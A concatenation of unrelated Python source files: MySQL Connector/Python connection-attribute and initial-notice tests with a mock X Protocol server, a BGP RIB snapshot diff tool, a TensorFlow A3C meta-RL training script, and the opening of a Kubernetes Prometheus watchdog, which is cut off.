[], ['a1=2', 'a3'], {"valid"}, {"foo", "bar"}]
for conn_attr in valid_conn_attrs:
connect_kwargs = self.connect_kwargs.copy()
connect_kwargs["connection_attributes"] = conn_attr
mysqlx.get_session(connect_kwargs)
# Test invalid generic values when passing a dict with connection data
invalid_conn_attrs = [{1:"1"}, {1:2}, {"_invalid":""}, {"_": ""},
123, 123.456, None, {"_invalid"}, ['_a1=2',]]
for conn_attr in invalid_conn_attrs:
connect_kwargs = self.connect_kwargs.copy()
connect_kwargs["connection_attributes"] = conn_attr
with self.assertRaises(InterfaceError) as context:
mysqlx.get_session(connect_kwargs)
LOGGER.error("InterfaceError not raised while testing "
"connection_attributes: {}".format(conn_attr))
# Validate the user defined attributes are created in the server
# Test user defined connection attributes through a connection URL
connection_attributes = {
"foo": "bar",
"baz": "zoom",
"quash": "",
"puuuuum": "kaplot"
}
uri = build_uri(user=self.connect_kwargs["user"],
password=self.connect_kwargs["password"],
host=self.connect_kwargs["host"],
port=self.connect_kwargs["port"],
schema=self.connect_kwargs["schema"],
connection_attributes=connection_attributes)
# Verify user defined session-connection-attributes are in the server
my_session = mysqlx.get_session(uri)
row = my_session.sql("SHOW VARIABLES LIKE \"pseudo_thread_id\"").\
execute().fetch_all()[0]
get_attrs = ("SELECT ATTR_NAME, ATTR_VALUE FROM "
"performance_schema.session_account_connect_attrs "
"where PROCESSLIST_ID = \"{}\"")
rows = my_session.sql(get_attrs.format(row.get_string('Value'))).\
execute().fetch_all()
expected_attrs = connection_attributes.copy()
expected_attrs.update({
"_pid": str(os.getpid()),
"_platform": self.platform_arch,
"_source_host": socket.gethostname(),
"_client_name": "mysql-connector-python",
"_client_license": self.client_license,
"_client_version": ".".join([str(x) for x in VERSION[0:3]]),
"_os": self.os_ver
})
# Note that for an empty string "" value the server stores a Null value
expected_attrs["quash"] = "None"
for row in rows:
self.assertEqual(expected_attrs[row.get_string('ATTR_NAME')],
row.get_string('ATTR_VALUE'),
"Attribute {} with value {} differs of {}".format(
row.get_string('ATTR_NAME'),
row.get_string('ATTR_VALUE'),
expected_attrs[row.get_string('ATTR_NAME')]))
# Verify connection-attributes can be skiped to be set on server
# by URI as "connection_attributes"=false
uri = build_uri(user=self.connect_kwargs["user"],
password=self.connect_kwargs["password"],
host=self.connect_kwargs["host"],
port=self.connect_kwargs["port"],
schema=self.connect_kwargs["schema"],
connection_attributes="false")
my_session = mysqlx.get_session(uri)
row = my_session.sql("SHOW VARIABLES LIKE \"pseudo_thread_id\"").\
execute().fetch_all()[0]
get_attrs = ("SELECT ATTR_NAME, ATTR_VALUE FROM "
"performance_schema.session_account_connect_attrs "
"where PROCESSLIST_ID = \"{}\"")
rows = my_session.sql(get_attrs.format(row.get_string('Value'))).\
execute().fetch_all()
self.assertEqual(len(rows), 0, "connection attributes where created "
"while was specified to not do so: {}".format(rows))
@unittest.skipIf(tests.MYSQL_VERSION < (5, 7, 12), "XPlugin not compatible")
class MySQLxInnitialNoticeTests(tests.MySQLxTests):
def setUp(self):
self.connect_kwargs = tests.get_mysqlx_config()
self.settings = {
"user": "root",
"password": "",
"host": "localhost",
"ssl-mode": "disabled",
"use_pure": True
}
def _server_thread(self, host="localhost", port=33061, notice=1):
stream = ServerSocketStream()
stream.start_receive(host, port)
reader_writer = MessageReaderWriter(stream)
protocol = ServerProtocol(reader_writer)
# Read message header
hdr = stream.read(5)
msg_len, msg_type = struct.unpack("<LB", hdr)
self.assertEqual(msg_type, 4)
# Read payload
_ = stream.read(msg_len - 1)
# send handshake
if notice == 1:
# send empty notice
stream.sendall(b"\x01\x00\x00\x00\x0b")
else:
# send notice frame with explicit default
stream.sendall(b"\x03\x00\x00\x00\x0b\x08\x01")
#stream.sendall(b"\x01\x00\x00\x00\x0b")
# send auth start")
protocol.send_auth_continue_server("00000000000000000000")
# Capabilities are not check for ssl-mode: disabled
# Reading auth_continue from client
hdr = stream.read(5)
msg_len, msg_type = struct.unpack("<LB", hdr)
self.assertEqual(msg_type, 5)
# Read payload
_ = stream.read(msg_len - 1)
# Send auth_ok
protocol.send_auth_ok()
# Read message
hdr = stream.read(5)
msg_len, msg_type = struct.unpack("<LB", hdr)
self.assertEqual(msg_type, 12)
# Read payload
_ = stream.read(msg_len - 1)
# send empty notice
if notice == 1:
# send empty notice
stream.sendall(b"\x01\x00\x00\x00\x0b")
else:
# send notice frame with explicit default
stream.sendall(b"\x03\x00\x00\x00\x0b\x08\x01")
# msg_type: 12 Mysqlx.Resultset.ColumnMetaData
stream.sendall(b"\x31\x00\x00\x00\x0c"
b"\x08\x07\x12\x08\x44\x61\x74\x61\x62\x61\x73"
b"\x65\x1a\x08\x44\x61\x74\x61\x62\x61\x73\x65"
b"\x22\x08\x53\x43\x48\x45\x4d\x41\x54\x41\x2a"
b"\x00\x32\x00\x3a\x03\x64\x65\x66\x40\x4c\x50"
b"\xc0\x01\x58\x10")
# send unexpected notice
if notice == 1:
# send empty notice
stream.sendall(b"\x01\x00\x00\x00\x0b")
else:
# send notice frame with explicit default
stream.sendall(b"\x03\x00\x00\x00\x0b\x08\x01")
# msg_type: 13 Mysqlx.Resultset.Row
stream.sendall(b"\x16\x00\x00\x00\x0d"
b"\x0a\x13\x69\x6e\x66\x6f\x72\x6d\x61\x74\x69"
b"\x6f\x6e\x5f\x73\x63\x68\x65\x6d\x61\x00")
# msg_type: 14 Mysqlx.Resultset.FetchDone
stream.sendall(b"\x01\x00\x00\x00\x0e")
# msg_type: 11 Mysqlx.Notice.Frame
stream.sendall(b"\x0f\x00\x00\x00\x0b\x08\x03\x10\x02\x1a\x08\x08"
b"\x04\x12\x04\x08\x02\x18\x00")
# send unexpected notice
if notice == 1:
# send empty notice
stream.sendall(b"\x01\x00\x00\x00\x0b")
else:
# send notice frame with explicit default
stream.sendall(b"\x03\x00\x00\x00\x0b\x08\x01")
# msg_type: 17 Mysqlx.Sql.StmtExecuteOk
stream.sendall(b"\x01\x00\x00\x00\x11")
# Read message
hdr = stream.read(5)
msg_len, msg_type = struct.unpack("<LB", hdr)
self.assertEqual(msg_type, 7)
# Read payload
_ = stream.read(msg_len - 1)
stream.sendall(b"\x07\x00\x00\x00\x00\n\x04bye!")
# Close socket
stream.close()
@unittest.skipIf(HAVE_MYSQLXPB_CEXT == False, "C Extension not available")
def test_initial_empty_notice_cext(self):
connect_kwargs = self.connect_kwargs.copy()
host = "localhost"
port = connect_kwargs["port"] + 10
worker1 = Thread(target=self._server_thread, args=[host, port, 1])
worker1.daemon = True
worker1.start()
sleep(1)
settings = self.settings.copy()
settings["port"] = port
settings["use_pure"] = False
session = mysqlx.get_session(settings)
rows = session.sql("show databases").execute().fetch_all()
self.assertEqual(rows[0][0], "information_schema")
session.close()
def test_initial_empty_notice_pure(self):
connect_kwargs = self.connect_kwargs.copy()
host = "localhost"
port = connect_kwargs["port"] + 20
worker2 = Thread(target=self._server_thread, args=[host, port, 1])
worker2.daemon = True
worker2.start()
sleep(2)
settings = self.settings.copy()
settings["port"] = port
settings["use_pure"] = True
session = mysqlx.get_session(settings)
rows = session.sql("show databases").execute().fetch_all()
self.assertEqual(rows[0][0], "information_schema")
session.close()
@unittest.skipIf(HAVE_MYSQLXPB_CEXT == False, "C Extension not available")
def test_initial_notice_cext(self):
connect_kwargs = self.connect_kwargs.copy()
host = "localhost"
port = connect_kwargs["port"] + 11
worker1 = Thread(target=self._server_thread, args=[host, port, 2])
worker1.daemon = True
worker1.start()
sleep(1)
settings = self.settings.copy()
settings["port"] = port
settings["use_pure"] = False
session = mysqlx.get_session(settings)
rows = session.sql("show databases").execute().fetch_all()
self.assertEqual(rows[0][0], "information_schema")
session.close()
def test_initial_notice_pure(self):
connect_kwargs = self.connect_kwargs.copy()
host = "localhost"
port = connect_kwargs["port"] + 21
worker2 = Thread(target=self._server_thread, args=[host, port, 2])
worker2.daemon = True
worker2.start()
sleep(2)
settings = self.settings.copy()
settings["port"] = port
settings["use_pure"] = True
session = mysqlx.get_session(settings)
rows = session.sql("show databases").execute().fetch_all()
self.assertEqual(rows[0][0], "information_schema")
session.close()
|
bgp-rib-diffs.py | #!/usr/bin/python
from __future__ import print_function
import argparse
import gzip
import os
import radix
import re
import sys
from bz2 import BZ2File
from datetime import datetime, timedelta
from multiprocessing import Process, Queue, cpu_count
from netaddr import IPSet, IPNetwork
# own imports
import mrtx
verbose = False
warning = False
logging = False
re_file_rv = re.compile('rib.(\d+).(\d\d\d\d).bz2')
re_file_rr = re.compile('bview.(\d+).(\d\d\d\d).gz')
re_path_rv = re.compile('.*/([a-z0-9\.-]+)/bgpdata/\d\d\d\d.\d\d/RIBS.*')
re_path_rr = re.compile('.*/(rrc\d\d)/\d\d\d\d.\d\d.*')
reserved_ipv4 = IPSet (['0.0.0.0/8', # host on this network (RFC1122)
'10.0.0.0/8','172.16.0.0/12','192.168.0.0/16', # private address space (RFC1918)
'100.64.0.0/10', # shared address space (RFC6598)
'127.0.0.0/8', # loopback (RFC1122)
'169.254.0.0/16', # linklocal (RFC3927)
'192.0.0.0/24', # special purpose (RFC6890)
'192.0.0.0/29', # DS-lite (RFC6333)
'192.0.2.0/24','198.51.100.0/24','203.0.113.0/24', # test net 1-3 (RFC5737)
'224.0.0.0/4', # multicast address space
'240.0.0.0/4', # future use (RFC1122)
'255.255.255.255/32' # limited broadcast
])
'''
OUTPUT FORMAT:
timestamp|date ; input type (RIB|UPDATE) ; source (route-views.xyz| rrcXY) ; \
#ipv4-prefixes/pfxlength (1..32) ; #ipv4 moas ; #ipv4 bogus \
[; #ipv6-prefix/pfxlength ; #ipv6 moas ; #ipv6 bogus ]
NOTE:
- #ips covered can be derived from #pfx/pfx_len
'''
def print_log(*objs):
if logging or verbose:
print("[LOGS] .", *objs, file=sys.stdout)
def print_info(*objs):
if verbose:
print("[INFO] ..", *objs, file=sys.stdout)
def print_warn(*objs):
if warning or verbose:
print("[WARN] ", *objs, file=sys.stderr)
def print_error(*objs):
print("[ERROR] ", *objs, file=sys.stderr)
def loadPtree(fin):
print_log("call loadPtree (%s)" % (fin))
f = (BZ2File(fin, 'rb'), gzip.open(fin, 'rb'))[fin.lower().endswith('.gz')]
data = mrtx.parse_mrt_file(f, print_progress=verbose)
f.close()
ptree = radix.Radix()
for prefix, origins in data.items():
pnode = ptree.add(prefix)
pnode.data['asn'] = list()
pnode.data['moas'] = 0
for o in origins:
pnode.data['asn'].append(o)
pnode.data['moas'] += 1
return ptree
def parseFilename(fin):
print_log("call parseFilename (%s)" % (fin))
maptype = 'none'
subtype = 'none'
pn, fn = os.path.split(fin)
if re_path_rr.match(pn):
m = re_path_rr.match(pn)
maptype = 'riperis'
subtype = m.group(1)
elif re_path_rv.match(pn):
m = re_path_rv.match(pn)
maptype = 'routeviews'
subtype = m.group(1)
else:
print_warn("Unknown BGP data source (pathname).")
date = '19700101'
time = '0000'
if re_file_rr.match(fn):
maptype = 'riperis'
m = re_file_rr.match(fn)
date = m.group(1)
time = m.group(2)
elif re_file_rv.match(fn):
maptype = 'routeviews'
m = re_file_rv.match(fn)
date = m.group(1)
time = m.group(2)
else:
print_warn("Unknown BGP data source (filename).")
dt = "%s-%s-%s %s:%s" % (str(date[0:4]),str(date[4:6]),str(date[6:8]),str(time[0:2]),str(time[2:4]))
ts = int((datetime.strptime(dt, "%Y-%m-%d %H:%M") - datetime(1970, 1, 1)).total_seconds())
return ts, maptype, subtype
#add num_pfx_new, num_pfx_del, num_asn_new, num_asn_del
def getDiffs (pt0, pt1):
print_log("call getDiffs")
ips_agg = IPSet()
ips_deagg = IPSet()
pt0IPs = IPSet(pt0.prefixes()) - reserved_ipv4
pt1IPs = IPSet(pt1.prefixes()) - reserved_ipv4
num_ips_new = len(pt1IPs - pt0IPs)
num_ips_del = len(pt0IPs - pt1IPs)
num_pfx_new = len(set(pt1.prefixes()) - set(pt0.prefixes()))
num_pfx_del = len(set(pt0.prefixes()) - set(pt1.prefixes()))
for pn0 in pt0:
ipn0 = IPNetwork(pn0.prefix)
if ipn0 not in reserved_ipv4:
pn1 = pt1.search_best(pn0.network)
if (pn1 != None) and (pn0.prefix != pn1.prefix):
print_info("pn0: %s, pn1: %s" % (pn0.prefix, pn1.prefix))
diff = pn0.prefixlen - pn1.prefixlen
if diff > 0: # aggregate
try:
ips_agg = ips_agg | IPSet([pn0.prefix])
except:
print_error("Failed to add prefix (%s) to ips_agg!" % (pn0.prefix))
if diff < 0: # deaggregate
try:
ips_deagg = ips_deagg | IPSet([pn0.prefix])
except:
print_error("Failed to add prefix (%s) to ips_deagg!" % (pn0.prefix))
num_ips_agg = len(ips_agg)
num_ips_deagg = len(ips_deagg)
num_ips_changed = num_ips_agg + num_ips_deagg
ret = [len(pt0IPs), len(pt1IPs), num_ips_new, num_ips_del, num_ips_changed, num_ips_agg, num_ips_deagg]
return ret
def singleWorker(wd, fin):
print_log("call singleWorker(\n\t fin0: %s,\n\t fin1: %s)" % (fin[0],fin[1]))
ts0, mt0, st0 = parseFilename(fin[0])
ts1, mt1, st1 = parseFilename(fin[1])
if (mt0==mt1) and (st0==st1):
pt0 = loadPtree(fin[0])
pt1 = loadPtree(fin[1])
diffs = getDiffs(pt0, pt1)
outputDiffs(wd,ts0,ts1,mt0,st0,diffs)
def diffsThread(inq,outq):
print_log("start diffsThread")
for fin in iter(inq.get, 'DONE'):
try:
ts0, mt0, st0 = parseFilename(fin[0])
ts1, mt1, st1 = parseFilename(fin[1])
if (mt0==mt1) and (st0==st1):
pt0 = loadPtree(fin[0])
pt1 = loadPtree(fin[1])
diffs = getDiffs(pt0, pt1)
outq.put([ts0,ts1,mt0,st0,diffs])
except Exception, e:
print_error("%s failed on %s with: %s" % (current_process().name, url, e.message))
return True
def outputThread(outq, outf):
while True:
odata = outq.get()
if (odata == 'DONE'):
break
try:
outputDiffs(outf,odata[0],odata[1],odata[2],odata[3],odata[4])
except Exception, e:
print_error("%s failed on %s with: %s" % (current_process().name, url, e.message))
return True
def outputDiffs(fout, ts0, ts1, mt, st, diffs):
output = str(ts0)+';'+str(ts1)+';'+mt+';'+st+';'
output += ';'.join(str(x) for x in diffs)
if fout:
with open(fout, "a+") as f:
f.write(output+'\n')
else:
print(output)
sys.stdout.flush()
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-l', '--logging', help='Ouptut logging.', action='store_true')
parser.add_argument('-w', '--warning', help='Output warnings.', action='store_true')
parser.add_argument('-v', '--verbose', help='Verbose output with debug info, logging, and warnings.', action='store_true')
parser.add_argument('-t', '--threads', help='Use threads for parallel and faster processing.', action='store_true', default=False)
parser.add_argument('-n', '--numthreads', help='Set number of threads.', type=int, default=None)
parser.add_argument('-r', '--recursive', help='Search directories recursivly if in bulk mode.', action='store_true')
parser.add_argument('-f', '--file', help='Write results to file.', default=None)
parser.add_argument('path', help='Path to data.')
args = vars(parser.parse_args())
global verbose
verbose = args['verbose']
global warning
warning = args['warning']
global logging
logging = args['logging']
writedata = args['file']
recursive = args['recursive']
threads = args['threads']
workers = args['numthreads']
if not workers:
workers = cpu_count() / 2
path = args['path']
start_time = datetime.now()
print_log("START: " + start_time.strftime('%Y-%m-%d %H:%M:%S'))
if not (os.path.isdir(path)):
print_error("Invalid path for processing!")
exit(1)
all_files = []
if recursive:
for dirpath, dirnames, filenames in os.walk(path):
for filename in [f for f in filenames if (re_file_rv.match(f) or re_file_rr.match(f))]:
all_files.append(os.path.join(dirpath, filename))
else:
for filename in [f for f in os.listdir(path) if (re_file_rv.match(f) or re_file_rr.match(f))]:
all_files.append(os.path.join(path, filename))
all_files.sort()
print_log("matching files: %d" % (len(all_files)))
if threads:
input_queue = Queue()
output_queue = Queue()
processes = []
# fill input queue
for i in range(len(all_files)-1):
input_queue.put([all_files[i],all_files[i+1]])
# start workers to calc stats
for w in xrange(workers):
p = Process(target=diffsThread, args=(input_queue,output_queue))
p.start()
processes.append(p)
input_queue.put('DONE')
# start output process to
output_p = Process(target=outputThread, args=(output_queue,writedata))
output_p.start()
for p in processes:
p.join()
output_queue.put('DONE')
output_p.join()
else:
for i in range(len(all_files)-1):
singleWorker(writedata, [all_files[i],all_files[i+1]])
end_time = datetime.now()
print_log("FINISH: " + end_time.strftime('%Y-%m-%d %H:%M:%S'))
done_time = end_time - start_time
print_log(" processing time [s]: " + str(done_time.total_seconds()))
if __name__ == "__main__":
main() |
main_visual.py | #!/usr/bin/env python3
import threading
import multiprocessing
import numpy as np
import matplotlib.pyplot as plt
import tensorflow as tf
import tensorflow.contrib.slim as slim
from tensorflow.examples.tutorials.mnist import input_data
from PIL import Image
from PIL import ImageDraw
from PIL import ImageFont
import scipy.signal
from lib.helper import *
import os
from random import choice
from time import sleep
from time import time
from lib.visual_envs import *
from sacred import Experiment
from sacred.observers import MongoObserver
ex = Experiment('main_visual')
ex.observers.append(MongoObserver())
NUM_PARALLEL_EXEC_UNITS = 1
MAX_WORKERS = 1
###
class AC_Network():
def __init__(self,a_size,s_size,scope,trainer):
with tf.variable_scope(scope):
#Input and visual encoding layers
self.state = tf.placeholder(shape=[None,s_size,s_size,3],dtype=tf.float32)
self.conv = slim.fully_connected(slim.flatten(self.state),64,activation_fn=tf.nn.elu)
self.prev_rewards = tf.placeholder(shape=[None,1],dtype=tf.float32)
self.prev_actions = tf.placeholder(shape=[None],dtype=tf.int32)
self.timestep = tf.placeholder(shape=[None,1],dtype=tf.float32)
self.prev_actions_onehot = tf.one_hot(self.prev_actions,a_size,dtype=tf.float32)
hidden = tf.concat([slim.flatten(self.conv),self.prev_rewards,self.prev_actions_onehot,self.timestep],1)
#Recurrent network for temporal dependencies
lstm_cell = tf.contrib.rnn.BasicLSTMCell(48,state_is_tuple=True)
c_init = np.zeros((1, lstm_cell.state_size.c), np.float32)
h_init = np.zeros((1, lstm_cell.state_size.h), np.float32)
self.state_init = [c_init, h_init]
c_in = tf.placeholder(tf.float32, [1, lstm_cell.state_size.c])
h_in = tf.placeholder(tf.float32, [1, lstm_cell.state_size.h])
self.state_in = (c_in, h_in)
rnn_in = tf.expand_dims(hidden, [0])
step_size = tf.shape(self.prev_rewards)[:1]
state_in = tf.contrib.rnn.LSTMStateTuple(c_in, h_in)
lstm_outputs, lstm_state = tf.nn.dynamic_rnn(
lstm_cell, rnn_in, initial_state=state_in, sequence_length=step_size,
time_major=False)
lstm_c, lstm_h = lstm_state
self.state_out = (lstm_c[:1, :], lstm_h[:1, :])
rnn_out = tf.reshape(lstm_outputs, [-1, 48])
self.actions = tf.placeholder(shape=[None],dtype=tf.int32)
self.actions_onehot = tf.one_hot(self.actions,a_size,dtype=tf.float32)
#Output layers for policy and value estimations
self.policy = slim.fully_connected(rnn_out,a_size,
activation_fn=tf.nn.softmax,
weights_initializer=normalized_columns_initializer(0.01),
biases_initializer=None)
self.value = slim.fully_connected(rnn_out,1,
activation_fn=None,
weights_initializer=normalized_columns_initializer(1.0),
biases_initializer=None)
#Only the worker network need ops for loss functions and gradient updating.
if scope != 'global':
self.target_v = tf.placeholder(shape=[None],dtype=tf.float32)
self.advantages = tf.placeholder(shape=[None],dtype=tf.float32)
self.responsible_outputs = tf.reduce_sum(self.policy * self.actions_onehot, [1])
#Loss functions
self.value_loss = 0.5 * tf.reduce_sum(tf.square(self.target_v - tf.reshape(self.value,[-1])))
self.entropy = - tf.reduce_sum(self.policy * tf.log(self.policy + 1e-7))
self.policy_loss = -tf.reduce_sum(tf.log(self.responsible_outputs + 1e-7)*self.advantages)
self.loss = 0.5 *self.value_loss + self.policy_loss - self.entropy * 0.05
#Get gradients from local network using local losses
local_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope)
self.gradients = tf.gradients(self.loss,local_vars)
self.var_norms = tf.global_norm(local_vars)
grads,self.grad_norms = tf.clip_by_global_norm(self.gradients,50.0)
#Apply local gradients to global network
global_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, 'global')
self.apply_grads = trainer.apply_gradients(zip(grads,global_vars))
class Worker():
def __init__(self,env,name,a_size,s_size,trainer,model_path,global_episodes):
self.name = "worker_" + str(name)
self.number = name
self.model_path = model_path
self.trainer = trainer
self.global_episodes = global_episodes
self.increment = self.global_episodes.assign_add(1)
self.episode_rewards = []
self.episode_lengths = []
self.episode_mean_values = []
self.summary_writer = tf.summary.FileWriter("train_"+str(self.number))
#Create the local copy of the network and the tensorflow op to copy global paramters to local network
self.local_AC = AC_Network(a_size,s_size,self.name,trainer)
self.update_local_ops = update_target_graph('global',self.name)
self.env = env
def train(self,rollout,sess,gamma,bootstrap_value):
rollout = np.array(rollout)
states = rollout[:,0]
actions = rollout[:,1]
rewards = rollout[:,2]
timesteps = rollout[:,3]
prev_rewards = [0] + rewards[:-1].tolist()
prev_actions = [0] + actions[:-1].tolist()
values = rollout[:,5]
self.pr = prev_rewards
self.pa = prev_actions
# Here we take the rewards and values from the rollout, and use them to
# generate the advantage and discounted returns.
# The advantage function uses "Generalized Advantage Estimation"
self.rewards_plus = np.asarray(rewards.tolist() + [bootstrap_value])
discounted_rewards = discount(self.rewards_plus,gamma)[:-1]
self.value_plus = np.asarray(values.tolist() + [bootstrap_value])
advantages = rewards + gamma * self.value_plus[1:] - self.value_plus[:-1]
advantages = discount(advantages,gamma)
# Update the global network using gradients from loss
# Generate network statistics to periodically save
rnn_state = self.local_AC.state_init
feed_dict = {self.local_AC.target_v:discounted_rewards,
self.local_AC.state:np.stack(states,axis=0),
self.local_AC.prev_rewards:np.vstack(prev_rewards),
self.local_AC.prev_actions:prev_actions,
self.local_AC.actions:actions,
self.local_AC.timestep:np.vstack(timesteps),
self.local_AC.advantages:advantages,
self.local_AC.state_in[0]:rnn_state[0],
self.local_AC.state_in[1]:rnn_state[1]}
v_l,p_l,e_l,g_n,v_n,_ = sess.run([self.local_AC.value_loss,
self.local_AC.policy_loss,
self.local_AC.entropy,
self.local_AC.grad_norms,
self.local_AC.var_norms,
self.local_AC.apply_grads],
feed_dict=feed_dict)
return v_l / len(rollout),p_l / len(rollout),e_l / len(rollout), g_n,v_n
def work(self,gamma,sess,coord,saver,train,epochs):
episode_count = sess.run(self.global_episodes)
total_steps = 0
print("Starting worker " + str(self.number))
with sess.as_default(), sess.graph.as_default():
while not coord.should_stop():
sess.run(self.update_local_ops)
episode_buffer = []
episode_values = []
episode_frames = []
episode_reward = 0
episode_step_count = 0
d = False
r = 0
a = 0
t = 0
s,s_big = self.env.reset()
rnn_state = self.local_AC.state_init
while d == False:
#Take an action using probabilities from policy network output.
a_dist,v,rnn_state_new = sess.run([self.local_AC.policy,self.local_AC.value,self.local_AC.state_out],
feed_dict={
self.local_AC.state:[s],
self.local_AC.prev_rewards:[[r]],
self.local_AC.timestep:[[t]],
self.local_AC.prev_actions:[a],
self.local_AC.state_in[0]:rnn_state[0],
self.local_AC.state_in[1]:rnn_state[1]})
a = np.random.choice(a_dist[0],p=a_dist[0])
a = np.argmax(a_dist == a)
rnn_state = rnn_state_new
s1,s1_big,r,d = self.env.step(a)
episode_buffer.append([s,a,r,t,d,v[0,0]])
episode_values.append(v[0,0])
episode_reward += r
episode_frames.append(set_image_visual(s1_big,episode_reward,t))
total_steps += 1
t += 1
episode_step_count += 1
s = s1
if episode_step_count > 100:
d = True
self.episode_rewards.append(episode_reward)
self.episode_lengths.append(episode_step_count)
self.episode_mean_values.append(np.mean(episode_values))
# Update the network using the experience buffer at the end of the episode.
if len(episode_buffer) != 0 and train == True:
v_l,p_l,e_l,g_n,v_n = self.train(episode_buffer,sess,gamma,0.0)
# Periodically save gifs of episodes, model parameters, and summary statistics.
if episode_count % 100 == 0 and episode_count != 0:
if episode_count % 500 == 0 and self.name == 'worker_0' and train == True:
saver.save(sess,self.model_path+'/model-'+str(episode_count)+'.cptk')
print("Saved Model")
if self.name == 'worker_0' and episode_count % 500 == 0:
time_per_step = 0.25
self.images = np.array(episode_frames)
make_gif(self.images,'./frames/image'+str(episode_count)+'.gif',
duration=len(self.images)*time_per_step,true_image=True)
mean_reward = np.mean(self.episode_rewards[-50:])
mean_length = np.mean(self.episode_lengths[-50:])
mean_value = np.mean(self.episode_mean_values[-50:])
ex.log_scalar("training.mean_reward", mean_reward)
summary = tf.Summary()
summary.value.add(tag='Perf/Reward', simple_value=float(mean_reward))
summary.value.add(tag='Perf/Length', simple_value=float(mean_length))
summary.value.add(tag='Perf/Value', simple_value=float(mean_value))
if train == True:
summary.value.add(tag='Losses/Value Loss', simple_value=float(v_l))
summary.value.add(tag='Losses/Policy Loss', simple_value=float(p_l))
summary.value.add(tag='Losses/Entropy', simple_value=float(e_l))
summary.value.add(tag='Losses/Grad Norm', simple_value=float(g_n))
summary.value.add(tag='Losses/Var Norm', simple_value=float(v_n))
self.summary_writer.add_summary(summary, episode_count)
print(f"Average reward: {float(mean_reward)}")
print(f"Average length: {float(mean_length)}")
print(f"Average value: {float(mean_value)}")
self.summary_writer.flush()
if self.name == 'worker_0':
sess.run(self.increment)
episode_count += 1
if episode_count >= epochs:
break
@ex.config
def config():
epochs = 1000
gamma = .95 # discount rate for advantage estimation and reward discounting
a_size = 4
load_model = False
train = True
model_path = './model_meta_visual'
name = "main_visual"
env = "int"
env_dim = 8
dev = True
hyperparam = False
@ex.automain
def main(_run, epochs, gamma, a_size, env_dim, load_model, train, name, env):
model_path = './models/' + name + '_' + env
if env == "game":
#Default environment. The one originally implemented.
Env = gameEnv
elif env == "confounded":
Env = VisualConfoundedEnv
elif env == "obs":
Env = VisualObsEnv
elif env == "obsint":
Env = VisualObsIntEnv
elif env == "int":
Env = VisualIntEnv
else:
raise ValueError("Not valid environment name")
###############
#From workbook#
###############
#Need to
#Tell it to stop after a set number of epochs
tf.reset_default_graph()
if not os.path.exists(model_path):
os.makedirs(model_path)
if not os.path.exists('./frames'):
os.makedirs('./frames')
with tf.device("/cpu:0"):
#e = Env(partial=False,size=5,goal_color=[np.random.uniform(),np.random.uniform(),np.random.uniform()])
global_episodes = tf.Variable(0,dtype=tf.int32,name='global_episodes',trainable=False)
trainer = tf.train.AdamOptimizer(learning_rate=1e-3)
master_network = AC_Network(a_size,env_dim,'global',None) # Generate global network
num_workers = min(MAX_WORKERS, multiprocessing.cpu_count()) # Set workers ot number of available CPU threads
workers = []
# Create worker classes
for i in range(num_workers):
workers.append(Worker(Env(size = env_dim),i,a_size,env_dim,trainer,model_path,global_episodes))
saver = tf.train.Saver(max_to_keep=5)
config = tf.ConfigProto(intra_op_parallelism_threads=NUM_PARALLEL_EXEC_UNITS,
inter_op_parallelism_threads=2,
allow_soft_placement=True,
device_count = {'CPU': NUM_PARALLEL_EXEC_UNITS})
sess = tf.Session(config=config)
#config = tf.ConfigProto(device_count={'CPU': 1})
#sess = tf.Session(config=config)
os.environ["OMP_NUM_THREADS"] = "1"
#with tf.Session() as sess:
coord = tf.train.Coordinator()
if load_model == True:
print('Loading Model...')
ckpt = tf.train.get_checkpoint_state(model_path)
saver.restore(sess,ckpt.model_checkpoint_path)
else:
sess.run(tf.global_variables_initializer())
worker_threads = []
for worker in workers:
worker_work = lambda: worker.work(gamma,sess,coord,saver,train,epochs)
thread = threading.Thread(target=(worker_work))
thread.start()
worker_threads.append(thread)
coord.join(worker_threads)
|
watchdog.py | #!/usr/bin/python
# Copyright (c) Microsoft Corporation
# All rights reserved.
#
# MIT License
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
# documentation files (the "Software"), to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and
# to permit persons to whom the Software is furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING
# BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
import argparse
import urllib.parse
import os
import json
import sys
import requests
import logging
import time
import threading
import signal
import faulthandler
import gc
import re
import collections
import yaml
import prometheus_client
from prometheus_client import Counter, Summary, Histogram
from prometheus_client.core import GaugeMetricFamily, CounterMetricFamily, Summary, REGISTRY
from prometheus_client.twisted import MetricsResource
from twisted.web.server import Site
from twisted.web.resource import Resource
from twisted.internet import reactor
logger = logging.getLogger(__name__)
KUBE_APISERVER_ADDRESS="KUBE_APISERVER_ADDRESS"
# k8s will set following environment variables for pod.
# refer to https://kubernetes.io/docs/tasks/access-application-cluster/access-cluster/
KUBE_INCLUSTER_HOST="KUBERNETES_SERVICE_HOST"
KUBE_INCLUSTER_PORT="KUBERNETES_SERVICE_PORT"
##### watchdog will generate following metrics
# Document about these metrics is in `prometheus/doc/watchdog-metrics.md`
error_counter = Counter("process_error_log_total", "total count of error log", ["type"])
api_healthz_histogram = Histogram("k8s_api_healthz_resp_latency_seconds",
"Response latency for requesting k8s api healthz (seconds)")
# use `histogram_quantile(0.95, sum(rate(k8s_api_list_pods_latency_seconds_bucket[5m])) by (le))`
# to get 95 percentile latency in past 5 miniute.
list_pods_histogram = Histogram("k8s_api_list_pods_latency_seconds",
"Response latency for list pods from k8s api (seconds)")
list_nodes_histogram = Histogram("k8s_api_list_nodes_latency_seconds",
"Response latency for list nodes from k8s api (seconds)")
def gen_pai_pod_gauge():
return GaugeMetricFamily("pai_pod_count", "count of pai pod",
